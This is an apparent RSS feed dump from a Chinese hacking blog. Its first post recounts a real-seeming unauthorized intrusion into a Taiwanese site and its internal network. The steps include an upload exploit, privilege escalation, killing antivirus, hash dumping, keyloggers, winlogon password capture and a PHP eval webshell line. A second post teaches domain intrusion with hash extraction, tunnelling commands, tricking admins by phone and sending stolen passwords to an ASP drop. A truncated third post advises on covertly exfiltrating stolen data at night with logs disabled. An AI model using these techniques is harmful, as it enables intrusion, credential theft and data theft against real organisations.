HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip，导出注册表里关于TCP/IP筛选的第一处，这种原因是查看导出的内容EnableSecurityFilters这个字段里dword后面的键值是否为00000000，如果为00000001就说明管理员做了tcp/ip筛选，我们只要把1改成0就行了。还有两个地方要导出，可是我导出来都是这三个word后面的键值都为00000000看来也不是这种原因。 3、做了ip安全策略。执行cmd命令： cmd /c net stop policyagent 将IPSEC Services服务停了它。再连3389。还是连接不上。 4、管理员设置的终端登陆权限只有指定的用户可以。这种原因应该是可以连接、无法登录。也排除。 5、防火墙。在webshell执行了下tasklist，发现有几个进程比较可疑。如almon.exe、alsvc.exe、SAVAdminService.exe等。 搜索下几个进程名发现是Sophos Anti-Virus(SAV)英国开发的一个杀毒软件，网上好评还不少。莫非是它搞的鬼，看看能不能直接结束掉，结果试了一下还真能结束掉，不过还是连接不上。原因不明中。因为这个网站禁止中国大陆的IP，这期间我试了反弹CMD，反弹IP是美国的一个肉鸡、端口转发等，最后我直接传了一个反弹的远程木马，在WEBSHELL执行，因为我有管理员的权限执行命令了，不过最后都没有弹出来。连http协议都没弹出来，当真是郁闷。 既然这样还是在webshell里收集一下本机信息吧，执行net view查看有没有其他机器，结果还真有，图5 突然发现自己变笨了，我既然有这台的cmdshell权限，把这台的HASH密码跑出来以后可以连接其他机器呀。何况我这台还是个分站，而主站上面有N个分站，每个IP也都不一样。于是上传pwdump抓了HASH，由于没有彩虾表用LC5跑之。图6。 接着对整个C段扫了一下3389，结果只有3台机器开放，我拥有权限的是16x.xxx.xxx.99，扫出的一台16x.xxx.xxx.69也开放3389了，接着把这个IP拿到查旁注的网站看了下，结果不少都是分站和一些相关的站。试了一下，可以直接连接，用LC5跑出的一个密码登录，结果显示登录成功，却永久的停在这里，不能继续任何操作，真晕，以前还真没遇到过。 接着用了administrator的密码登录，这次成功了进入了桌面，执行了ipconfig /all看下大致环境，发现还有DNS服务器，如图9所示。 一般DNS服务器也就是域服务器，接着我用net view /domain看了下有几个域。看来我所在的是INTRANE***这个域里面，继续用net view看了下本机所在的域约有多少台机器，如图10所示。 用net time /domain探测了下时间服务器，末权限，在用经典的net group "domain admins" /domain同样是末权限，正在想办法如何进行下一步的时候看到桌面有个远端桌面的东东，打开一看里面有管理员保存成着其他机器里的IP，试了一下这个段的其他机器都可以连进去，看来管理员又是用的一卡通，如图11所示。 加用端口扫描器扫的，这个段一个有20多台机器都开3389了，密码都可以进，不过我还末满足，这么多域呢，继续渗透吧，分析了下情况，现在172.16.1.*的IP段基本都已经搞定了，因为台湾的时间差和大陆几乎一样，为了避免和管理员“撞车”，我决定晚上再行动。到了晚上登录连上去的时候发现管理员果真登录了，有图为证，如图12所示。 而且管理员在退出的时候是断开的，并末有注销，接着我开了一个NP写的终端监视脚本，管理员在登录的时候会注销我自己，运气还不错，得到了一台XP系统，接着抓HASH，破密码省略之。 既然管理员用这台管理其他机器，那么我装一个键盘记录工具上去，把akl.exe扔上去了记录一下，一连记录了几天，什么也没记录到，在分析了下，暂时不想用CAIN嗅密码，试着用MS08067溢出，结果显示成功，在telnet的时候失败，郁闷中，图13。 IPC连接试下，失败。又过了两天登录上去一看，发现记录到了putty的密码，原来还有unix系统呀，如图14、15所示。 [...]]]></description>
			<content:encoded><![CDATA[<p>本文阐述：文章从网站入侵到内网渗透提权，作者给大家带来了一篇精彩的内网渗透文章。读后此文你能清晰的认识到内网入侵的细节技术。</p>
<p>由于平时比较忙，用了很久的VPN肉鸡飞掉了，近来正好有时间于是打开google搜索upfile.asp开始找肉鸡，来了台湾某XX站，<a href="http://xxx.xxx.tw/xx/upfile.asp">http://xxx.xxx.tw/xx/upfile.asp</a>，为了不必要的麻烦，我隐藏了敏感内容。直接到传asp提示错误，那么直接传了gif以后，查看上传路径发现自己重命名了，如果没有重命名的话在IIS6下百分之90以上可以拿shell了，除去目录末有执行脚本权限。最后抓包分析改上传路径，最后得到一个shell，图1。具体方法翻翻以前杂志或google找吧，一找一大堆。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083905tqu.jpg" border="0" alt="大型内网渗透1" width="800" height="344" /></p>
<p>执行命令后，发现权限还比较大，能够执行一些简单命令，像net user、ipconfig /all等等。。</p>
<p><span id="more-1808"></span></p>
<p>不过执行添加用户的肯定是不行了，由于支持ASPX我想起来去年暴的本地提权，直接上传Churrasco.exe，我这里命名为c.exe。运行命令为：/c E:websitewwwrootxxxxxupc.exe "net user nohack nohack /add"。必须有双引号，双引号里是执行的命令。最后成功加了用户，。</p>
<p>执行netstat -an发现3389开放，很兴奋的连接上去，却提示“无法连接远程计算机”，不应该呀，明明开着3389呢，google了下.</p>
<p>一般开了3389无法连接的原因有：<br />
1、服务器在内网。用显示的IP来看是用公网IP的，先排除。<br />
2、做了tcp/ip筛选。执行CMD命令：cmd /c regedit -e c:1.reg HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip，导出注册表里关于TCP/IP筛选的第一处，这种原因是查看导出的内容EnableSecurityFilters这个字段里dword后面的键值是否为00000000，如果为00000001就说明管理员做了tcp/ip筛选，我们只要把1改成0就行了。还有两个地方要导出，可是我导出来都是这三个word后面的键值都为00000000看来也不是这种原因。<br />
3、做了ip安全策略。执行cmd命令： cmd /c net stop policyagent 将IPSEC Services服务停了它。再连3389。还是连接不上。<br />
4、管理员设置的终端登陆权限只有指定的用户可以。这种原因应该是可以连接、无法登录。也排除。<br />
5、防火墙。在webshell执行了下tasklist，发现有几个进程比较可疑。如almon.exe、alsvc.exe、SAVAdminService.exe等。</p>
<p>搜索下几个进程名发现是Sophos Anti-Virus(SAV)英国开发的一个杀毒软件，网上好评还不少。莫非是它搞的鬼，看看能不能直接结束掉，结果试了一下还真能结束掉，不过还是连接不上。原因不明中。因为这个网站禁止中国大陆的IP，这期间我试了反弹CMD，反弹IP是美国的一个肉鸡、端口转发等，最后我直接传了一个反弹的远程木马，在WEBSHELL执行，因为我有管理员的权限执行命令了，不过最后都没有弹出来。连http协议都没弹出来，当真是郁闷。</p>
<p>既然这样还是在webshell里收集一下本机信息吧，执行net view查看有没有其他机器，结果还真有，图5</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083905L3Q.jpg" border="0" alt="大型内网渗透5" width="561" height="587" /></p>
<p>突然发现自己变笨了，我既然有这台的cmdshell权限，把这台的HASH密码跑出来以后可以连接其他机器呀。何况我这台还是个分站，而主站上面有N个分站，每个IP也都不一样。于是上传pwdump抓了HASH，由于没有彩虾表用LC5跑之。图6。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083905wwC.jpg" border="0" alt="大型内网渗透6" width="532" height="492" /><br />
接着对整个C段扫了一下3389，结果只有3台机器开放，我拥有权限的是16x.xxx.xxx.99，扫出的一台16x.xxx.xxx.69也开放3389了，接着把这个IP拿到查旁注的网站看了下，结果不少都是分站和一些相关的站。试了一下，可以直接连接，用LC5跑出的一个密码登录，结果显示登录成功，却永久的停在这里，不能继续任何操作，真晕，以前还真没遇到过。</p>
<p>接着用了administrator的密码登录，这次成功了进入了桌面，执行了ipconfig /all看下大致环境，发现还有DNS服务器，如图9所示。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083906FnP.jpg" border="0" alt="大型内网渗透9" width="796" height="585" /></p>
<p>一般DNS服务器也就是域服务器，接着我用net view /domain看了下有几个域。看来我所在的是INTRANE***这个域里面，继续用net view看了下本机所在的域约有多少台机器，如图10所示。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083906e1w.jpg" border="0" alt="大型内网渗透10" width="661" height="579" /></p>
<p>用net time /domain探测了下时间服务器，末权限，在用经典的net group "domain admins" /domain同样是末权限，正在想办法如何进行下一步的时候看到桌面有个远端桌面的东东，打开一看里面有管理员保存成着其他机器里的IP，试了一下这个段的其他机器都可以连进去，看来管理员又是用的一卡通，如图11所示。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083906SLB.jpg" border="0" alt="大型内网渗透11" width="801" height="584" /></p>
<p>加用端口扫描器扫的，这个段一个有20多台机器都开3389了，密码都可以进，不过我还末满足，这么多域呢，继续渗透吧，分析了下情况，现在172.16.1.*的IP段基本都已经搞定了，因为台湾的时间差和大陆几乎一样，为了避免和管理员“撞车”，我决定晚上再行动。到了晚上登录连上去的时候发现管理员果真登录了，有图为证，如图12所示。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083906GbP.jpg" border="0" alt="大型内网渗透12" width="671" height="657" /></p>
<p>而且管理员在退出的时候是断开的，并末有注销，接着我开了一个NP写的终端监视脚本，管理员在登录的时候会注销我自己，运气还不错，得到了一台XP系统，接着抓HASH，破密码省略之。</p>
<p>既然管理员用这台管理其他机器，那么我装一个键盘记录工具上去，把akl.exe扔上去了记录一下，一连记录了几天，什么也没记录到，在分析了下，暂时不想用CAIN嗅密码，试着用MS08067溢出，结果显示成功，在telnet的时候失败，郁闷中，图13。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083906JV4.jpg" border="0" alt="大型内网渗透13" width="786" height="598" /></p>
<p>IPC连接试下，失败。又过了两天登录上去一看，发现记录到了putty的密码，原来还有unix系统呀，如图14、15所示。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083907sdI.jpg" border="0" alt="大型内网渗透14" width="712" height="485" /></p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083907UGC.jpg" border="0" alt="大型内网渗透15" width="817" height="581" /></p>
<p>不但记录到了putty，还包括网页、信箱之类的。看来这个键盘记录安装的挺成功。接着用putty登录，图16。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083907LwD.jpg" border="0" alt="大型内网渗透16" width="717" height="503" /></p>
<p>ls -a列了下目录，netstat -an，查了下端口，发现开了80。我对UNIX的渗透经验不是特别足，先放在一边，直接用echo "&lt;?php @eval($_POST[cmd]);?&gt;"&gt;index.php，写进了一个SHELL。</p>
<p>思考一下，溢出、IPC已经试过，嗅探不得已的办法，还有一招末有试，winlogon劫持记录的工具，如图17。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/0839071Jo.jpg" border="0" alt="大型内网渗透17" width="400" height="120" /></p>
<p>这东东可以记录域管理员在本机登录的时的密码，我把我已经控制的所有机器差不多每台一份都中上了这个东东。过了不到一个星期的功夫上去果然记录到了很多密码，如图18。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2010/07/083908kP6.jpg" border="0" alt="大型内网渗透18" width="324" height="311" /></p>
<p>记我没想到的是，其他域里面具然还有E文系统的机器，最后用其他域管理帐号登录，</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年05月26日 -- <a href="http://www.4shell.org/archives/1933.html" title="Linux 安装基于PPTPD的vpn,内网渗透用">Linux 安装基于PPTPD的vpn,内网渗透用</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1824.html" title="MSSQL 入侵提权之内网渗透案例分析">MSSQL 入侵提权之内网渗透案例分析</a></li><li>2010年05月5日 -- <a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2010年04月9日 -- <a href="http://www.4shell.org/archives/1665.html" title="域中渗透积累">域中渗透积累</a></li><li>2010年03月1日 -- <a href="http://www.4shell.org/archives/1613.html" title="内网渗透案例">内网渗透案例</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1808.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>域环境下的渗透</title>
		<link>http://www.4shell.org/archives/1734.html</link>
		<comments>http://www.4shell.org/archives/1734.html#comments</comments>
		<pubDate>Thu, 29 Apr 2010 02:13:25 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[域]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1734.html</guid>
		<description><![CDATA[在进行内网渗透，尤其是在比较大型的网络环境下，很可能会遇到域这样一种特殊的网络环境，而在域环境下的内网渗透又将是另外一片天地。 首先还是先简要看一下域的概念吧： 域 (Domain) 是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后，2个域之间不但可以按需要相互进行管理，还可以跨网分配文件和打印机等设备资源，使不同的域之间实现网络资源的共享与管理。 域既是 Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows 网络操作系统中，域是安全边界。域管理员只能管理域的内部，除非其他的域显式地赋予他管理权限，他才能够访问或者管理其他的域；每个域都有自己的安全策略，以及它与其他域的安全信任关系。 通过上述的了解，我们可以知道域管理员的权限是相当大的，域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理，即有权限登陆任何一台机器。那么在渗透的过程中我们就可以通过某种方式记录下管理员登陆的密码，当然了，这只是其中的一种思路。 获得一台内网或域中的肉鸡之后，先来查看一下当前的网络环境，执行： net view 即可获得一系列主机名，并且可以通过Ping其机器名得到其IP地址，不过注意到列出的机器名只是在网络结构中有联系的，而不一定就在同一内网或域中。 执行 ipconfig /all 来查看是否存在域环境，倘若存在的话则可以继续执行： net user /domain 来查看域内都有哪些用户，还可以查看指定域内都有哪些计算机： net view /domain:testdomain (testdomain 假设为目标的其中一个域) 查看域内的管理员用户则可以执行： net group "domain admins" /domain 还可以通过命令： net user domain-admin /domain 查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息。 一般在正式进攻之前还是多多掌握一些网络的信息为好，可以通过遍历管理员的文件从中获取可能的隐私信息，信息越多越好，其次就是抓取本机的hash值，这里可以用到一个工具：pwdump7.exe 用这个来抓hash很简单，命令行下直接执行即可，将hash导出到文本的命令为： pwdump7.exe&#62;1.txt 得到hash之后就可以用工具诸如lc5，rainbowcrack，saminside，ophcrack 之类的去破解了，运气好的话能破解出来了就可以利用这个密码尝试登陆内网的其他机器了，当然了，权限到底大不大那只能看运气了。这里还介绍另外一个域渗透中的利器：gsecdump 好处就在于能从域服务器密码存储文件 windowsntdsntds.dit 中导出所有域用户hash的工具，并能从活动进程中导出hash。而且只要有一个本地管理员权限 利用hash注入能开启域管理员进程，方便域渗透。命令行下的东西，看看说明就知道怎么用了。 还可以通过记录域管理员登陆该主机密码来获取信息，这里用到一个小工具：Winlogon 可以截获登陆本机3389的密码，当然了也可以截获域管理员登陆的密码了，至于如何让域管理员登陆此机，有可能需要一段漫长的等待，或许管理员有个固定的周期来登陆例行检查，或者你也可以制造个谎情来欺骗域管理员的登陆，以前就有哥们冒充服务器管理员给域管理员拨通了电话谎称服务器中了病毒无法清除请他来帮忙，域管理员没来得及多想就登陆进来了，结果可想而知，密码成功被记录！当然了，更多的方法还是要靠大家自己去想了，呵呵。 由于Winlogon只能将密码记录在本机，因为不知道管理员什么时候登陆进来，于是我们可以利用网上有人改造过的可以Asp发信的版本，直接将截获的用户名和密码发送至自己的Asp收信地址了。不过好像仅适用于Win2003系统。 使用方法为：运行 Loader.exe [...]]]></description>
			<content:encoded><![CDATA[<p>在进行内网渗透，尤其是在比较大型的网络环境下，很可能会遇到域这样一种特殊的网络环境，而在域环境下的内网渗透又将是另外一片天地。<br />
首先还是先简要看一下域的概念吧：<br />
<strong>域</strong> (Domain) 是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后，2个域之间不但可以按需要相互进行管理，还可以跨网分配文件和打印机等设备资源，使不同的域之间实现网络资源的共享与管理。<br />
域既是 Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows 网络操作系统中，域是安全边界。域管理员只能管理域的内部，除非其他的域显式地赋予他管理权限，他才能够访问或者管理其他的域；每个域都有自己的安全策略，以及它与其他域的安全信任关系。</p>
<p>通过上述的了解，我们可以知道域管理员的权限是相当大的，域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理，即有权限登陆任何一台机器。那么在渗透的过程中我们就可以通过某种方式记录下管理员登陆的密码，当然了，这只是其中的一种思路。<br />
<span id="more-1734"></span><br />
获得一台内网或域中的肉鸡之后，先来查看一下当前的网络环境，执行：</p>
<pre>net view</pre>
<p>即可获得一系列主机名，并且可以通过Ping其机器名得到其IP地址，不过注意到列出的机器名只是在网络结构中有联系的，而不一定就在同一内网或域中。<br />
执行</p>
<pre>ipconfig /all</pre>
<p>来查看是否存在域环境，倘若存在的话则可以继续执行：</p>
<pre>net user /domain</pre>
<p>来查看域内都有哪些用户，还可以查看指定域内都有哪些计算机：</p>
<pre>net view /domain:testdomain      (testdomain 假设为目标的其中一个域)</pre>
<p>查看域内的管理员用户则可以执行：</p>
<pre>net group "domain admins" /domain</pre>
<p>还可以通过命令：</p>
<pre>net user domain-admin /domain</pre>
<p>查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息。<br />
一般在正式进攻之前还是多多掌握一些网络的信息为好，可以通过遍历管理员的文件从中获取可能的隐私信息，信息越多越好，其次就是抓取本机的hash值，这里可以用到一个工具：<strong>pwdump7.exe</strong><br />
用这个来抓hash很简单，命令行下直接执行即可，将hash导出到文本的命令为：</p>
<pre>pwdump7.exe&gt;1.txt</pre>
<p>得到hash之后就可以用工具诸如lc5，rainbowcrack，saminside，ophcrack 之类的去破解了，运气好的话能破解出来了就可以利用这个密码尝试登陆内网的其他机器了，当然了，权限到底大不大那只能看运气了。这里还介绍另外一个域渗透中的利器：<strong>gsecdump<br />
</strong>好处就在于能从域服务器密码存储文件</p>
<pre>windowsntdsntds.dit</pre>
<p>中导出所有域用户hash的工具，并能从活动进程中导出hash。而且只要有一个本地管理员权限 利用hash注入能开启域管理员进程，方便域渗透。命令行下的东西，看看说明就知道怎么用了。<br />
还可以通过记录域管理员登陆该主机密码来获取信息，这里用到一个小工具：<strong>Winlogon</strong><br />
可以截获登陆本机3389的密码，当然了也可以截获域管理员登陆的密码了，至于如何让域管理员登陆此机，有可能需要一段漫长的等待，或许管理员有个固定的周期来登陆例行检查，或者你也可以制造个谎情来欺骗域管理员的登陆，以前就有哥们冒充服务器管理员给域管理员拨通了电话谎称服务器中了病毒无法清除请他来帮忙，域管理员没来得及多想就登陆进来了，结果可想而知，密码成功被记录！当然了，更多的方法还是要靠大家自己去想了，呵呵。<br />
由于Winlogon只能将密码记录在本机，因为不知道管理员什么时候登陆进来，于是我们可以利用网上有人改造过的可以Asp发信的版本，直接将截获的用户名和密码发送至自己的Asp收信地址了。不过好像仅适用于Win2003系统。<br />
使用方法为：运行 Loader.exe 填入自己的收信地址之后就会生成 CreateServer.exe，将Asp传到服务器，然后在肉鸡上运行密码记录器即可，post.asp 会在你的URL地址下生成key.txt。</p>
<p>前期准备告一段落了，接下来可以开始正式的渗透了。<br />
一般情况下，内网中可能存在相当一部分存在弱口令或者有着溢出机会的机子，溢出不失为一个好主意，不过要注意到，虽然服务器已经被我们拿下了并且远程登陆上了，但是不一定所有的工作都必须在登陆界面进行，这样很有可能被管理员发现，或者产生其他未知的问题，而且有的时候要是工具们过于庞大的话也不便直接传上去，那么可以先利用端口转发，VPN之类的隧道技术将入侵环境移植到本地远程渗透上面来，这里可以用到几种利器：<br />
①<strong>ncph的hd</strong> (Lcx也行，类似)<br />
适用于防火墙阻止外部链接，双向外网的情况下。本机执行命令：</p>
<pre>hd -s listen 53 1180</pre>
<p>意思是将连接进来的53端口的数据转发到1180端口。<br />
在肉鸡上运行：</p>
<pre>hd -s -connect XX.XX.XX.XX 53    (XX.XX.XX.XX 为自己IP)</pre>
<p>本机即可收到反弹回来的代理的情况。接下来就可以在<strong>SocksCap</strong>里面具体设置了，当然先要装上SocksCap，之后的sockets控制台设置如图：<br />
<a href="http://img.hakzvip.com/1004/9604a876d74a_11FBE/socks.jpg"><img title="socks" src="http://www.4shell.org/wp-content/uploads/images/2010/04/0213252Dm.jpg" border="0" alt="socks" width="286" height="306" /></a><br />
连接之后就可以大胆的撒开手去干了，工具之类的可以直接拖进控制台界面。<br />
②<strong>reDuh(Webshell下的跳板)</strong><br />
适用于webshell下用，支持aspx，php，jsp，可以把内网服务器的端口通过 http/https 隧道转发到本机，形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。服务端是个webshell(针对不同服务器有aspx,php,jsp三个版本)，客户端是java写的，本机执行最好装上JDK。<br />
webshell传好之后，命令行下执行：</p>
<pre>reDuhClient 目标服务器域名 http 80 /WEBSHELL路径/reDuh.aspx</pre>
<p>然后本机用NC连接1010端口：</p>
<pre>nc -vv localhost 1010</pre>
<p>连接成功会有欢迎提示，之后输入命令</p>
<pre>[createTunnel]1234:XX.XX.XX.XX:3389   (XX.XX.XX.XX 为肉鸡IP 或者域名)</pre>
<p>即可将远程3389端口转发至本机1234端口，通道建立之后直接mstsc连接本机1234即可。<br />
另外提供reDuh的GUI版本，无需本机安装JDK的支持就可以用了。</p>
<p>一切连接就绪之后，入侵可以开始实施了，常用的方法大概有几种：<br />
<strong>溢出：</strong><br />
前面说了内网中出现弱口令和溢出可能性的概率是比较大的，那么就可以使用常见的溢出手法来进行攻击，(过一段时间再搜集一些常用的溢出手法以飨观众)可以使用端口扫描器扫描内网中其他机器的端口，通过弱口令之类的加以利用，这个的成功性就不好说了，要视情况而定，通常情况下都是比较繁琐一点的，因为现在大多数的计算机都是满载着补丁而行的，溢出的成功率已远不如从前那个溢出横行的时代了，不过这也不失为一种方法罢了。<br />
<strong>欺骗：</strong><br />
欺骗分为很多种，有ARP欺骗，DNS欺骗，主动与被动会话劫持之类的。前两者可以利用强大的Cain来加以实现，至于Cain的具体用法就不多说了，Google一下，你就知道。而对于会话劫持，涉及到TCP/IP原理部分，而且由于其主要实现环境在linux下，本人也不太懂 =.= ，于是这里只是简要介绍一下了.<br />
TCP使用端到端的连接，在数据传输中需要提供两段序列号：<br />
字段序号(seq)和确认序号(ackseq)。<br />
seq指出了本报文中传送的数据在发送主机所要传送的整个数据流中的顺序号，ackseq指出了发送本报文的主机希望接收的对方主机中下一个八位组的顺序号，两者之间的相互关系为：<br />
要发出的报文中的seq值应等于它所刚收到的报文中的ackseq的值；<br />
要发送报文中ackseq的值应为它所收到报文中seq的值加上该报文中所发送的TCP净荷的长度。<br />
会话劫持者所需要做的就是窥探到正在进行TCP通信的两台主机之间传送的报文，得知该报文的源IP、源TCP端口号、目的IP、目的TCP端号，从而可以得知其中一台主机对将要收到的下一个TCP报文段中seq和ackseq值的要求，于是抢先向被攻击主机发送恶意的带有净荷的TCP报文获取会话的主动权，从而避开了被攻击主机对访问者的身份验证和安全认证。<br />
不过其中要注意的就是如果会话中的主机发现所收到的数据包不是期望值的时候，那么就会用自己期望的序列号发送ACK包[ACK:期望收到对方数据包中第一个字节的序号]，那么对方所收到的也将不是期望值，就会再次以自己期望的序列号返回ACK包，周而复始形成ACK风暴(Strom)，从而造成数据流的堵塞，这样就不好了，所以事先要通过ARP欺骗实施包转发之后再进行会话劫持。<br />
那么会话劫持的主要工具包括：arpspoof、fragrouter 和 hunt。<br />
Arpspoof：ARP欺骗用<br />
Fragrouter：包转发用<br />
Hunt：会话劫持用  [Linux下]<br />
至于详细操作步骤就不细说了，用的时候自己查阅便是了。</p>
<p><strong>总结：</strong>内网域渗透很好很强大！如此高深的渗透技巧远不是本文这寥寥几句所能道得清的，这里这是略微总结一下内网渗透的基本技巧，更多的知识还要靠自己在实战中去挖掘，去体会，其实内网渗透是一个灰常艰苦的活儿，也只有实践才能出真知，坚持才能得胜利！</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li><li>2009年06月23日 -- <a href="http://www.4shell.org/archives/798.html" title="渗透,目的不单纯">渗透,目的不单纯</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/771.html" title="当渗透中实时检测管理员的bat">当渗透中实时检测管理员的bat</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1734.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>专业渗透人员在渗透过程中注意事项</title>
		<link>http://www.4shell.org/archives/1721.html</link>
		<comments>http://www.4shell.org/archives/1721.html#comments</comments>
		<pubDate>Fri, 23 Apr 2010 13:00:38 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[渗透]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1721.html</guid>
		<description><![CDATA[1你的内网入口机器属于什么性质？例如：24小时运转的应用服务器、测试机器、员工办公机器、VPN？ 根据你的回帖，可以得知，你目前既然已经拥有了数台内网服务器权限，那么应该是通过其内网反弹后门转发端口进入内网，我估计是应用服务器。而初期可能是通 过员工办公机器或者对方映射到公网上面的应用服务器进入内网的。 2此内网数据存储服务器属于几级内网？这个问题你未具体描述，因为往往会遇到1级、2级、3级甚至更深的类城域网结构。 这里假设你遇到的只是最初级的1级内网，既：内网可互通 3你目前行为的目的是什么？你描述说你需要将数据拷贝出来，但你又回帖说搞定了他们几台服务器，那么我的问题就是，根据你最后一次的回帖，不太明白你目前 的状况。A你无聊？B你还有其他目的？C你还没有搞定那台或数台数据储存服务器？ 你不回答清楚，无法帮你参考啊。各种情况下，有不同的解决方式。 这里就仅认为你已经搞定数据储存服务器、并且只是基于成就感继续KO他们的服务器吧。 综合上述条件，判断楼主遇到的只是较初级内网,至于多少万多NB的防火墙不在考虑范围内，那个东西就是纸老虎。 如果你仅仅只是想拷贝数据，并且是数据库方式储存的话，我的建议就是将数据库按表段来导出，其实你需要的数据可能就仅仅储存在少数几个表内，如果是数 据过于庞大，在导出的过程中会占用大量时间，你需要做的就是： 将数据库服务器登陆日志查看一边，按照内网所属国的当地正常上班时间（我不知道是哪个国家）进行判断，确定在他们的睡眠时间内（既最安全时间当地时间凌晨 3点-早上6点）无人登陆，建议选择在周末凌晨进行，这个时间之所以认为安全，是因为即便是该公司有夜班人员值班，在无聊的深夜，不是打瞌睡、也是在做自 己的事情（大部分夜班人员无人监督） 假设你所导出的数据表段过于庞大，那么就按字段导出（需注意的是在导出前关闭数据库日志服务，由于我不知道你搞的是什么类型的数据库，是属于WIN平台 还是类Unix平台，而关闭日志的方式在各平台也都不同，五花八门的..这个就不说了。） 然后将每个字段导出的数据进行压缩，用最快的速度在内网传到一个你KO掉、并且经过判断登陆日志后觉得最少被登陆的一台服务器上，由于是内网所以下载速 度非常快，不用担心下不完。这么做的原因是尽量减少在受到关注的数据库服务器上停留过久。因为你上传或下载到外网耗时太久，所以需要先将数据转移到其他不 受关注的内网机器上。 根据个人经验判断，如果真有150G的数据，在3个小时内肯定无法完工，那么楼主就需要N个"午夜3小时"来重复上述操作了。 接着需要做的就是，在每次午夜3小时结束前，留下合理的上传时间，将每天内网下载的数据上传到你外网的服务器，推荐找个和此内网同地区的IDC租个当地 的服务器或直接黑一个，用作数据中转，这样速度会最快。至于上传，我不知道你是怎么做的，我都是用自己的FTP程序，隐藏在系统内，设定好上传参数（我的 隐藏FTP程序多功能的哦），比如我可以设置：本次上传几个小时、上传什么格式的文件、优先上传什么格式、上传限速多少、上传哪个或多个磁盘目录路径、是 否断点续传、定时检测服务器是否有登陆，如有管理员登陆采取哪种措施：1删除所有等待上传的文件并退出程序、2直接中断上传、退出程序。 可能你现在已经完工了，我权当参与讨论。方法很普通，也不高雅，还很累：）但自认为是较安全的方式了。至少我常用。 不过话说回来啊楼主，怎么导出数据是一回事，但更重要的是你要弄明白你的“目的”，内网渗透最忌讳的就是拖延时间，讲究的是在不惊扰对方的前提下速战速 决！类似ARP的傻事，能不干，就千万别干。 你后来的回帖说你又弄了对方几台机器，这里你需要考虑几个问题： 1你为什么要搞你后来说的这些机器？ A管理员中马了，你随意登陆进去看看？ B你通过其他漏洞搞的？ C密码问题？ 